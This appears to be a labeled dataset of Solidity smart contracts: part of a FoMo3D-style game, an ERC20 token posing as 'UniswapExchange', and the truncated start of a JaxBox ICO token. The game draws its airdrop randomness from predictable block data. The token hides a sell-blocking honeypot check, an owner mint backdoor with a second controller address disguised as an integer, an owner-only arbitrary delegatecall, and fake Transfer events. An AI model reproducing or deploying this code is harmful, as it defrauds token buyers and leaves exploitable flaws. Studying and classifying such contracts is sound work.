if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
}
else
{
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
}
else if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000)
{
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
}
else if (_eth >= 100000000000000000 && _eth < 1000000000000000000)
{
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(55)) / 100;
uint256 _com = (_pot / 20);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d);
cfo.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 20;
uint256 _aff = _eth / 10;
if (_team == 0 ) {
_aff = _eth.mul(30) / 100;
}
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
cfo.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
if (_team == 0){
_eth = _eth.sub(((_eth.mul(40)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
}else{
_eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
}
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require( msg.sender == ceo, "ONLY ceo CAN activate" );
require(activated_ == false, "Already Activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(31250000000000000000000000000)).add(56249882812561035156250000000000000000000000000000000000000000000000)).sqrt()).sub(7499992187500000000000000000000000)) / (15625000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((7812500000).mul(_keys.sq()).add((7499992187500000).mul(_keys.mul(1000000000000000000)))) / ((1000000000000000000).sq()) ;
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "Invalid Length");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "Can NOT start with SPACE");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "CAN NOT Start With 0x");
require(_temp[1] != 0x58, "CAN NOT Start With 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"Include Illegal Characters!"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20,
"ONLY One Space Allowed");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "All Numbers Not Allowed");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "Mul Failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "Sub Failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "Add Failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 1 | 3,787 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 581 |
pragma solidity ^0.4.17;
contract tokenRecipient { function receiveApproval(address from, uint256 value, address token, bytes extraData); }
contract JaxBox
{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public remaining;
uint256 public ethRate;
address public owner;
uint256 public amountCollected;
uint8 public icoStatus;
uint8 public icoTokenPrice;
address public benAddress;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public investors;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event TransferSell(address indexed from, address indexed to, uint256 value, string typex);
function JaxBox()
{
totalSupply = 10000000000000000000000000000;
owner = msg.sender;
balanceOf[owner] = totalSupply;
totalSupply = totalSupply;
name = "JaxBox";
symbol = "JBC";
decimals = 18;
remaining = totalSupply;
ethRate = 300;
icoStatus = 1;
icoTokenPrice = 10;
benAddress = 0x57D1aED65eE1921CC7D2F3702C8A28E5Dd317913;
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function () payable
{
if (remaining > 0 && icoStatus == 1 )
{
uint finalTokens = ((msg.value / 10 ** 16) * ((ethRate * 10 ** 2) / icoTokenPrice)) / 10 ** 2;
if(finalTokens < remaining)
{
remaining = remaining - finalTokens;
amountCollected = amountCollected + (msg.value / 10 ** 18);
_transfer(owner,msg.sender, finalTokens);
TransferSell(owner, msg.sender, finalTokens,'Online');
}
else
{
throw;
}
}
else
{
throw;
}
}
function sellOffline(address rec_address,uint256 token_amount) onlyOwner
{
if (remaining > 0)
{
uint finalTokens = (token_amount * (10 ** 18));
if(finalTokens < remaining)
{
